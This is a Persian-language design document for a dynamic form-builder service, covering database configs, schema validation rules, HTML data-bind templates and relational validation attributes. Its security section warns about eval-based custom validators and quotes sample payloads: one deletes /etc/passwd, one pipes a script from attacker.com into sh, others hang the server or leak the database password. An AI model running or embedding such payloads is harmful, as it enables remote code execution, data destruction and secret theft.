

Dynamic Form Builder

نویسنده: سید نوید رضادوست

تاریخ تالیف: 2025/5/24

شرح مازول

این مازول سرویسی مشترک بین فرانت و بک اند می باشد. این سند شامل دو بخش پیاده سازی در سمت کلاینت (بدون توجه به فریم ورک) و در سمت بک اند با PHP است. کلاینت وظیفه دارد سند HTML را با استایل ها دلخواه خود برای سرور با قرار داد های تعیین شده ارسال نماید. سرور وظیفه دارد براساس قرارداد های تعیین شده سند را دریافت کرده و شروع به پردازش آن نماید از جمله این پردازش ها میتوان به فراخوانی و پر کردن داده های سلکتیو و جا گذاری داده ها و همچنین ولیدیشن کردن رابطه ای و غیر رابطه ای اشاره کرد.

سیستم فرم ساز پویا مبتنی بر **HTML Attributes** یک موتور **ارکستراسیون** فرم های وب با قابلیت های خود آگاهی **Self-Aware** است که الگوهای رفتاری بصری و منطقی اجزای رابط کاربری را بر اساس وابستگی های زمینه ای **Contextual Dependencies** و الگوریتم های رفتاری کاربر، در زمان اجرا تطبیق می دهد.

این مدل نه فقط به دلایل فنی، بلکه به خاطر

سطح بالای انتزاعی سازی

جداسازی منطق از اجرا

تولید خودکار رفتارهای فرم

یک نمونه واقعی از **Meta-DSL** یا **Meta-UI Engine** محسوب می شه.

من با استفاده از **data-* attributes** یک **مدل اعلان محور Declarative Metadata Model** روی **DOM** ایجاد میکنم. این کار مشابه معماری هایی مثل **React**، ولی در سطح **native DOM** و بدون نیاز به **Virtual DOM** انجام می پذیرد.

این ساختار **DOM** را به یک محیط **تحلیل پذیر و اجرا پذیر Executable UI Metadata Graph** تبدیل می کند.

فرم های شما دارای "رفتار مستقل" هستند که توسط آبجکت هایی نظیر **data-grv** تعریف می شوند. این فرم ها:

بر اساس پیش شرط های منطقی **logical preconditions**

رویدادهای سیستم یا کاربر **event triggers**

رفتار خود را در قالب عملیات هایی مثل نمایش، تغییر اعتبارسنجی، فراخوانی API و غیره تغییر می دهند.

این مدل از مفهومی در مهندسی نرم افزار به نام **Behavior-Driven Form Composition** یا **Reactive Form Rule Engine** الهام گرفته است.

در حقیقت این سیستم فرایند کلی یک را پیاده سازی میکند که بیانگیر یک Rule Engine است که بخشی از معماری Rule-Based System محسوب میشود که منطق تصمیم‌گیری را بر اساس یک Knowledge Base و یک Inference Engine اجرا می‌کند.

اجزای اصلی Rule Engine

نقش	جزء
شامل قوانین منطقی یا قوانین کسب‌وکار به صورت if-then	Rule Base
داده‌های واقعی که با قوانین مقایسه می‌شوند	Fact Base
بخش اجرا کننده‌ی قواعد و استخراج نتیجه از قوانین	Inference Engine
تصمیم‌گیری برای اولویت اجرای قوانین در صورت تداخل	Agenda / Conflict Resolution

Rule Engine یکی از مؤلفه‌های سطح بالا در طراحی سیستم‌های هوشمند هستند که نقش مهمی در پیاده‌سازی سیاست‌گذاری نرم‌افزاری Policy-Driven Architecture و Dynamic Behavior Composition ایفا می‌کنند.

این سرویس از HTML Attributes برای تولید رفتار استفاده می‌کند، می‌توان آن را در یک کلاس معماری مشابه موتور قواعد مدل‌سازی کرد که بر اساس داده‌های استاتیک/داینامیک، خروجی تولید و رفتار UI را هدایت می‌کند.

=====

مقاله Bridging Design and Development with Automated Declarative UI Code Generation

این مقاله پژوهشی به بررسی استفاده از مدل‌های زبانی بزرگ برای تولید خودکار کدهای رابط کاربری اعلان‌محور می‌پردازد و چالش‌ها و راه‌حل‌های مرتبط را تحلیل می‌کند.

مقاله Reactive rule-based dynamic forms in hybris using Drools7

این مقاله به بررسی استفاده از موتور قوانین Drools برای ایجاد فرم‌های پویا در سیستم‌های Hybris می‌پردازد.

=====

بخش سرور

• راه اندازی و اجرای سرویس فرم بیلدر

این سرویس ابتدا نیاز دارد منبع داده ای خود را دریافت کند در صورت نیاز به ساخت یک فرم تعاملی تر و داینامیک.

شما باید ابتدا اسکیمای برای هر سرویس تان ساخته و پایگاه داده سرویس تان را معرفی کنید. فرم بیلدر در ورژن یک فقط از دیتابیس های MySQL و PostgreSQL و MongoDB پشتیبانی میکند.

هر فرم میتواند کانفیگ هایی را با خود حمل کند:

• کانفیگ های دیتابیس:

تمام مقادیر مانند `host, port, username, password` باید بسته به محیط واقعی شما تنظیم شوند.

کانفیگ اتصال به MySQL

```
{
  "dbType": "mysql",
  "host": "localhost",
  "port": 3306,
  "username": "your_mysql_user",
  "password": "your_mysql_password",
  "database": "your_database_name"
}
```

برای PostgreSQL گزینه‌ی `ssl` در صورتی که اتصال امن مد نظر باشد، می‌تواند `true` شود.

کانفیگ اتصال به PostgreSQL

```
{
  "dbType": "postgresql",
  "host": "localhost",
  "port": 5432,
  "username": "your_pg_user",
  "password": "your_pg_password",
  "database": "your_database_name",
  "ssl": false
}
```

```
}
```

کانفیگ اتصال به MongoDB

```
{
  "dbType": "mongodb",
  "host": "localhost",
  "port": 27017,
  "username": "your_mongo_user",
  "password": "your_mongo_password",
  "database": "your_database_name",
  "authSource": "admin"
}
```

برای MongoDB اگر از احراز هویت استفاده می‌کنید، معمولاً مقدار `authSource` را برابر `"admin"` قرار می‌دهند.

- آبیجت JSON به منظور تعریف متغیرهای ثابت در فرم برای مثال در نسخه یک از این کلید ها به صورت سراسری پشتیبانی میشود (کاربر می تواند بسته به نیاز خود متغیر ثابت ایجاد کند)

```
{
  "constants": {
    "languagesSupport": ["fa", "en"],
    "formVersion": 1,
    "maxUploadSizeMB": 10,
    "dateFormat": "YYYY-MM-DD"
  }
}
```

- **formVersion**: نسخه فرم برای کنترل نسخه‌ها.
- **maxUploadSizeMB**: اندازه حداکثری فایل آپلود.
- **languagesSupport**: مشخص میکند که فرم از چند نسخه زبانی باید پشتیبانی کند.
- **dateFormat**: فرمت نمایش تاریخ در فرم.

هر رکورد از جدول **databases** می‌تواند با چندین رکورد در جدول **schemas** در ارتباط باشد، به طوری که **schemas.databaseId** به عنوان کلید خارجی به **databases.id** اشاره می‌کند. این رابطه از نوع یک به چند (One-to-Many) است.



ساختار هر اسکیمای باید برای اتصال به پایگاه داده مد نظر و ساختار جدول یا کالکشن را دارا باشد از این طریق این سرویس در شرایطی که کاربر query بنویسد میتواند او را راهنمایی کرده و در جاگذاری query به کاربر کمک کند.

مثال برای یک کالکشن در MongoDB

نوع مقادیری که پشتیبانی میشود درون **type**:

Type	BSON Type Mapping
text	string
number	double, int, long, decimal
boolean	bool
select	string, objectId
date	date, timestamp
file	binData
textarea	string
json	object, array

متود های قابل پشتیبانی و گارد شدن روی ستون ها:

- **required**

اجباری بودن فیلد در زمان ولیدیشن کردن فرم را مشخص میکند.

- **min**

حداقل عددی که میتوانید وارد کنید در رشته ها با طول رشته واکنش نشان میدهد.

- **max**

حداکثر عددی که میتوانید وارد کنید در رشته ها با طول رشته واکنش نشان میدهد.

- **note**

توضیحاتی میتوانید برای کارایی و عملکرد و نقش این ستون درون اسکیمای خود اضافه کنید که به کاربر در هنگام استفاده از این اسکیمای کمک خواهد کرد.

- **default**

در صورتی که کاربر هنگام ثبت اطلاعات در این فرم داده ای برای این ستون ارائه نکند این مقدار پیش فرض ثبت خواهد شد.

```
{
  "columns": [
    {
      "name": "_id",
      "type": "ObjectId",
      "primary": true
    },
    {
      "name": "name",
```

```
    "type": "string",
    "required": true
  },
  {
    "name": "price",
    "type": "number",
    "required": true,
    "min": 0
  },
  {
    "name": "categories",
    "type": "array",
    "itemsType": "string"
  },
  {
    "name": "addresses",
    "type": "array",
    "itemsType": "object",
    "itemSchema": {
      "street": "string",
      "city": "string",
      "zip": "string"
    }
  },
  {
    "name": "scores",
    "type": "array",
    "itemsType": "number"
  },
  {
    "name": "attributes",
    "type": "object",
    "note": "Dynamic product properties like color, size"
  }
]
}
```

مثال برای یک جدول PostgreSQL

نوع مقادیری که پشتیبانی می‌شود درون type :

- varchar
- Number
- Boolean
- Select
- Date
- Text
- Jsonb
- Json

متود های قابل پشتیبانی برای PostgreSQL

شرح	متد
SQL: NOT NULL اجباری بودن مقدار فیلد در زمان اعتبارسنجی فرم یا ذخیره‌سازی در جدول. معادل	required
LENGTH(col) یا حداقل طول رشته (مثلاً CHECK (value >= x)) حداقل مقدار عددی (مثلاً >= x)	min
حداکثر مقدار عددی یا حداکثر طول رشته (مشابه بالا)	max
COMMENT می‌تواند در فیلد PostgreSQL توضیحاتی برای مستندسازی یا راهنمای کاربر. در ذخیره شود	note
در صورتی که دیتا ارسالی برای این فرم خالی بود پیش فرض مقدار شما ست خواهد شد.	default
متن خطا را تعیین میکند	errorMessage
الگوی صحیح داده را مشخص میکند.	pattern

```
{
  "columns": [
    {
      "name": "id",
      "type": "serial",
      "primary": true
    },
    {
      "name": "title",
      "type": "text",
      "required": true
    },
    {
      "name": "metadata",
      "type": "jsonb",
      "note": "Stores additional data like tags, categories"
    },
    {
      "name": "is_active",
      "type": "boolean",
      "default": true
    }
  ]
}
```

مثال برای یک جدول MySQL (متود ها و تایپ ها مشابه PostgreSQL است)

```
{
  "columns": [
    {
      "name": "id",
      "type": "integer",
      "primary": true
    },
    {
      "name": "username",
      "type": "varchar",
      "length": 50,
      "required": true
    },
    {
      "name": "email",
      "type": "varchar",

```

```

        "length": 100,
        "required": true
    },
    {
        "name": "created_at",
        "type": "timestamp",
        "default": "CURRENT_TIMESTAMP"
    }
]
}

```

نکته:

در صورتی که بخواهید لیستی از ولیدیشن ها داشته باشید و برای هر یک پیامی ارائه دهید باید ارایه از آجکت ها درون هر ستون ایجاد کنید و نوع ولیدیشن و متن خطا را تعیین کنید یا در صورتی که میخواهید خطای کاستوم بنویسید.

```

{
  "columns": [
    {
      "name": "username",
      "type": "varchar",
      "validations": [
        {
          "method": "required",
          "errorMessage": "نام کاربری اجباری است."
        },
        {
          "method": "min",
          "value": 3,
          "errorMessage": "نام کاربری باید حداقل ۳ حرف باشد."
        },
        {
          "method": "max",
          "value": 30,
          "errorMessage": "نام کاربری نمیتواند بیش از ۳۰ حرف باشد."
        },
        {
          "method": "pattern",
          "value": "^[a-zA-Z0-9_]+$",
          "errorMessage": "نام کاربری فقط میتواند شامل حروف، اعداد و زیرخط باشد."
        }
      ]
    }
  ]
}

```

تعریف کاستوم ولیدیشن:

در صورتی که نیاز به اعتبارسنجی خاصی داشته باشید که توسط متدهای پیش فرض پوشش داده نمی‌شود، می‌توانید از متد "custom" استفاده کنید و داخل آن یک قوانین منطقی خاص یا تابع اعتبارسنجی دلخواه بنویسید.

```
{
  "name": "age",
  "type": "number",
  "validations": [
    {
      "method": "custom",
      "function": "value => value % 2 === 0",
      "errorMessage": "سن باید عددی زوج باشد."
    }
  ]
}
```

توجه: در پیاده‌سازی واقعی (در فرم‌ها یا API backend)، مقدار داخل function به صورت یک تابع جاوا اسکریپت یا logic-specific تفسیر می‌شود و باید مطابق با موتور اعتبارسنجی در پلتفرم هدف باشد.

سناریوهای امنیتی در اجرای توابع دلخواه

Code Injection (تزریق کد مخرب)

استفاده از Function، eval() یا معادل‌های آن بدون فیلتر ورودی، اجازه می‌دهد کاربر کد دلخواه اجرا کند.

مثال:

```
"function": "value => { require('fs').unlinkSync('/etc/passwd'); return true; }"
```

RCE

در محیط‌هایی مثل Node.js یا Python اگر رشته تابع به کد واقعی تبدیل شود، کاربر می‌تواند کد دلخواه خود را اجرا کرده و به کل سیستم دسترسی پیدا کند.

```
"function": "value => { require('child_process').execSync('curl http://attacker.com/shell.sh | sh'); return true; }"
```

Denial of Service (DoS)

کاربر می‌تواند تابعی بنویسد که باعث گیر کردن سیستم، استفاده زیاد از CPU یا حافظه شود.

مثال:

```
"function": "value => { while(true){} return true; }"
```

Memory Exhaustion / Resource Exhaustion

نوشتن توابعی با مصرف حافظه یا منابع سنگین می‌تواند سرور را از دسترس خارج کند.

مثال:

```
"function": "value => { const arr = []; while(true) arr.push({}); }"
```

Information Disclosure (افشای اطلاعات)

توابع می‌توانند به داده‌هایی که نباید در دسترس باشند دست پیدا کنند

```
"function": "value => { console.log(process.env.DB_PASSWORD); return true; }"
```

قالب‌ها

قالب‌ها، اسناد HTML و CSS هستند که توسط طراح (یا کلاینت) از پیش طراحی و آماده‌سازی شده‌اند و نقش اسکلت ظاهری فرم‌ها را ایفا می‌کنند. این قالب‌ها به صورت ماژولار، مستقل از ساختار داده، اما همگام با قراردادهای سرویس فرم‌ساز ساخته می‌شوند.

قالب‌ها در این سیستم مجموعه‌ای از اسناد HTML و CSS ایستا هستند که برای نمایش اطلاعات خلاصه، وضعیت‌ها، یا خروجی فرم‌های تکمیل‌شده طراحی شده‌اند. این قالب‌ها توسط کلاینت طراحی می‌شوند و می‌توانند ظاهر دلخواه را برای نمایش داده‌ها ایجاد کنند.

ویژگی‌های کلیدی قالب‌ها

1. فقط نمایش (Read-Only)

قالب‌ها برای نمایش هستند و هیچ المان قابل ورود (input) ندارند. هیچ ارسال یا ذخیره‌سازی داده‌ای از آن‌ها انجام نمی‌شود.

2. جای‌گذاری داده از طریق نقاط مشخص (Data Binding)

سرور هنگام رندر کردن قالب، مقدار داده‌ها را در محل‌های خاص درج می‌کند. این نقاط با استفاده از قراردادهای مشخص در HTML تعریف می‌شوند، مانند:

```
<span data-bind="fullName"></span>
<span data-bind="registrationDate"></span>
```

سرور مقدار `fullName` را درون این `span` قرار می‌دهد.

قراردادهای توسعه قالب‌ها (Static Display Contracts)

برای اینکه سرور بتواند داده‌ها را در قالب‌ها جای‌گذاری کند، باید قالب‌ها طبق قراردادهایی نوشته شوند:

ویژگی	توضیح
<code>data-bind</code>	مشخص می‌کند کدام کلید داده در این نقطه نمایش داده شود
<code>data-bind-format</code>	اختیاری - نوع فرمت برای تاریخ، عدد، پول، یا سایر قالب‌بندی‌ها
<code>data-bind-if</code>	اختیاری - برای شرطی کردن نمایش مثلاً وقتی مقداری وجود داشته باشد
<code>data-bind-loop</code>	اختیاری - برای نمایش لیست‌ها

```
<div class="summary-box">
```

```
<h2 data-bind="title"></h2>
<p data-bind="description"></p>
<span data-bind="createdAt" data-bind-format="date:YYYY/MM/DD"></span>
</div>
```

```
<div class="orders-summary" data-bind-if="orders.length > 0">
  <h3>سفارش‌های اخیر شما</h3>
  <ul>
    <li data-bind-loop="orders">
      <span data-bind="productName"></span> -
      <span data-bind="quantity"></span> عدد
      <span data-bind="price" data-bind-format="currency:IRR"></span>
    </li>
  </ul>
</div>

<div class="no-orders" data-bind-if="orders.length == 0">
  <p>شما هنوز سفارشی ثبت نکرده‌اید</p>
</div>
```

توضیح عملکرد سرور:

1. اگر **orders** آرایه‌ای تهی بود:

- **orders-summary** نمایش داده نمی‌شود.

- **no-orders** نمایش داده می‌شود.

2. اگر **orders** شامل آیتم باشد:

- سرور درون **"data-bind-loop="orders"** برای هر آیتم یک **** تولید می‌کند.

- مقدار **productName, quantity** و **price** از هر آبجکت سفارش تزریق می‌شود.

دیتا نمونه برای تست:

```
{
  "orders": [
    { "productName": "ماوس بی‌سیم", "quantity": 2, "price": 350000 },
    { "productName": "کیبورد مکانیکی", "quantity": 1, "price": 1200000 }
  ]
}
```

```
]
}
```

نکته‌های توسعه‌ای:

- `data-bind-if` می‌تونه حتی داخل loop باشه، مثلاً برای فیلتر نمایش بعضی از آیتم‌ها:

```
<li data-bind-loop="orders" data-bind-if="quantity > 1">
```

ساختار ذخیره‌سازی قالب‌ها در سیستم:

```
{
  "templateName": "summary-default",
  "description": "قالب پیش‌فرض برای نمایش خلاصه فرم",
  "html": "<div class='card'><h3 data-bind='title'></h3>...</div>",
  "css": ".card { border: 1px solid #ccc; padding: 1rem; }",
  "placeholders": ["title", "description", "createdAt"]
}
```

عملگرهای پشتیبانی‌شده

- مقایسه‌ای: `==`, `!=`, `<`, `>`, `<=`, `>=`
- منطقی: `&&`, `||`, `!`
- محاسباتی: `+`, `-`, `*`, `/`

قرارداد‌ها و قواعد تعامل با سرور

این قرارداد‌ها و قواعد مجموعه‌ای از قوانینی است که کلاینت برای ساخت و ایجاد فرم‌های داینامیک باید از آن تبعیت کند.

این قوانین و قواعد طیف‌های مختلفی را برای پوشش دادن سناریوهای مختلف در دریافت و پر کردن داده‌ها و همچنین ولیدیشن‌های رابطه‌ای یا غیررابطه‌ای با کمک عملگرهای مقایسه‌ای و محاسباتی پشتیبانی

میکند. همان طور که اشاره شد با رعایت این قوانین و قواعد هر سرویسی میتواند در سمت کلاینت به این برنامه متصل شده و فرم های خود را بسازد.

اعتبارسنجی غیر رابطه ای

اعتبارسنجی غیررابطه ای (Non-Relational Validation) به بررسی مقادیر یک فیلد یا اینپوت به صورت مستقل از سایر فیلدها اشاره دارد. این نوع اعتبار سنجی بر اساس شرایط و قوانین تعریف شده برای خود فیلد انجام می شود، مانند بررسی محدوده عددی، تطبیق با یک الگو (Pattern)، بررسی طول رشته، یا نوع داده. در ادامه، توضیحات کامل تری در مورد اعتبارسنجی غیررابطه ای ارائه می دهیم، مثال هایی از قوانین مختلف می زنم، و یک اسکریپت خام PHP برای پیاده سازی این نوع اعتبارسنجی ارائه می کنم.

اعتبارسنجی غیررابطه ای معمولاً شامل بررسی های زیر است:

1. نوع داده (Type): اطمینان از اینکه مقدار وارد شده از نوع موردنظر (مثلاً عدد، رشته، یا تاریخ) است.
2. محدوده (Range): بررسی اینکه مقدار در محدوده مجاز (مانند min و max) قرار دارد.
3. الگو (Pattern): تطبیق مقدار با یک الگوی مشخص (مانند regex برای ایمیل یا رمز عبور).
4. اجباری بودن (Required): بررسی اینکه فیلد خالی نیست.
5. طول (Length): بررسی طول رشته (برای رشته ها) یا تعداد آیتم ها (برای آرایه ها).
6. مقدار پیش فرض (Default): اگر فیلد خالی باشد، مقدار پیش فرض تنظیم می شود.

این نوع اعتبارسنجی نیازی به مقایسه با سایر فیلدها ندارد و تنها بر اساس ویژگی های خود فیلد انجام می شود.

اعتبارسنجی رابطه ای (Relational Validation)

این نوع اعتبارسنجی نیاز دارد تا در ارتباط با یک سری فیلد ها قرار بگیرند این اتریبیت روی اینپوت ها قرار بگیرد ما کلید `data-relational-validation` بگیرند

```
<input
  name="discount_amount"
  data-relational-validation='{
    "dependsOn": ["has_discount"],
    "condition": "has_discount === true",
    "actions": [
      {
```

```

        "type": "show",
        "targets": ["discount_amount"]
    },
    {
        "type": "setRequired",
        "targets": ["discount_amount"],
        "value": true
    },
    {
        "type": "setError",
        "targets": ["discount_amount", "has_discount"],
        "message": "در صورت فعال بودن تخفیف، مقدار تخفیف الزامیست و باید عددی مثبت باشد",
        "when": "!discount_amount || discount_amount <= 0"
    },
    {
        "type": "populateSelect",
        "target": "discount_reason",
        "api": "/api/discount-reasons",
        "method": "GET",
        "params": {
            "active": true
        }
    },
    {
        "type": "setValue",
        "target": "suggested_discount",
        "source": "api",
        "api": "/api/suggested-discount",
        "method": "POST",
        "headers": {},
        "query": {},
        "params": {},
        "payload": {
            "productId": "product_id"
        }
    }
]
}'
/>

<input type="checkbox" name="has_discount" />
<select name="discount_reason"></select>
<input name="suggested_discount" />

```

معنی و کاربرد کلید ها

کلید	توضیح
<code>dependsOn</code>	فیلدهایی که این منطق به آن‌ها وابسته است
<code>condition</code>	شرط اجرا (با متغیرهایی مطابق نام فیلدها)
<code>actions</code>	لیست کارهایی که در صورت برقرار بودن شرط یا شکست آن انجام می‌شود

انواع actions پشتیبانی‌شده

کاربرد	type
فیلد را نمایش یا مخفی کن	<code>show / hide</code>
فیلد را الزامی یا غیر الزامی کن	<code>setRequired</code>
پیام خطا را روی فیلدهای مختلف نمایش بده	<code>setError</code>
مقدارهای یک select را از API واکنشی و پر کن	<code>populateSelect</code>
مقدار یک فیلد را از API یا از یک مقدار محلی تعیین کن	<code>setValue</code>

اعتبارسنجی رابطه ای (globalRelationalValidatio)

این نوع اعتبارسنجی زمانی استفاده میشود که یک فرم درون اعتبار سنجی خود نیاز دارد تا اینپوت دیگری را درون یک فرم مجاور را در نظر بگیرد.

کلید این اتریبیوت روی data-global-relation-validation DOM است.

ساختار کلی آبجکت

```
{
  "dependsOn": [
    { "form": "form_1", "field": "input_a" },
    { "form": "form_2", "field": "input_b" }
  ],
  "condition": "input_a == 'yes' && input_b != ''",
  "actions": [
    {
      "type": "setRequired",
      "targets": [{ "form": "form_3", "field": "input_c" }],
      "required": true
    },
    {
      "type": "show",
      "targets": [{ "form": "form_2", "field": "input_d" }]
    },
    {
      "type": "setValue",
      "targets": [{ "form": "form_1", "field": "input_e" }],
      "value": "مقدار دلخواه"
    },
    {
      "type": "populateSelect",
      "targets": [{ "form": "form_2", "field": "select_a" }],
      "source": "/api/options?key=input_b"
    }
  ],
  "priority": "override"
}
```

فرض کن فرم سوم (form_3) حاوی یک input به نام input_c است که می‌خواهی با توجه به فرم‌های دیگر، ولیدیشن روی اون انجام بشه:

```
<input
  name="input_c"
  data-grv='{
```

```

"dependsOn": [
  { "form": "form_1", "field": "input_a" },
  { "form": "form_2", "field": "input_b" }
],
"condition": "input_a === \"yes\" && input_b === \"42\"",
"actions": [
  {
    "type": "setRequired",
    "targets": [{ "form": "form_3", "field": "input_c" }],
    "required": true
  },
  {
    "type": "show",
    "targets": [{ "form": "form_2", "field": "input_d" }]
  }
],
"priority": "override"
}'
/>

```

عملیات‌های قابل پشتیبانی در **actions**:

توضیح	type
نمایش فیلد هدف	show
مخفی‌سازی فیلد هدف	hide
الزامی یا غیر الزامی کردن فیلد هدف	setRequired
مقداردهی به یک فیلد (مقدار استاتیک یا دینامیک)	setValue
فراخوانی API برای پر کردن گزینه‌های یک select	populateSelect

انجام عملیات محاسباتی و قرار دادن نتیجه در فیلد مقصد

`calculate`

نمایش پیام خطا روی یک یا چند فیلد خاص

`setError`

اولویت و تداخل ولیدیشن‌ها Override

گاهی فیلدی طبق تعریف فرم، "required" هست، ولی ولیدیشن رابطه‌ای می‌خواهد اون رو غیرفعال کنه. در اینجا:

- اگر "priority": "override" باشد، ولیدیشن رابطه‌ای ارجح است.
- اگر "priority": "merge" باشد، باید هر دو شرط برقرار باشند (مثلاً فیلد در فرم required است و شرط هم فعال شود)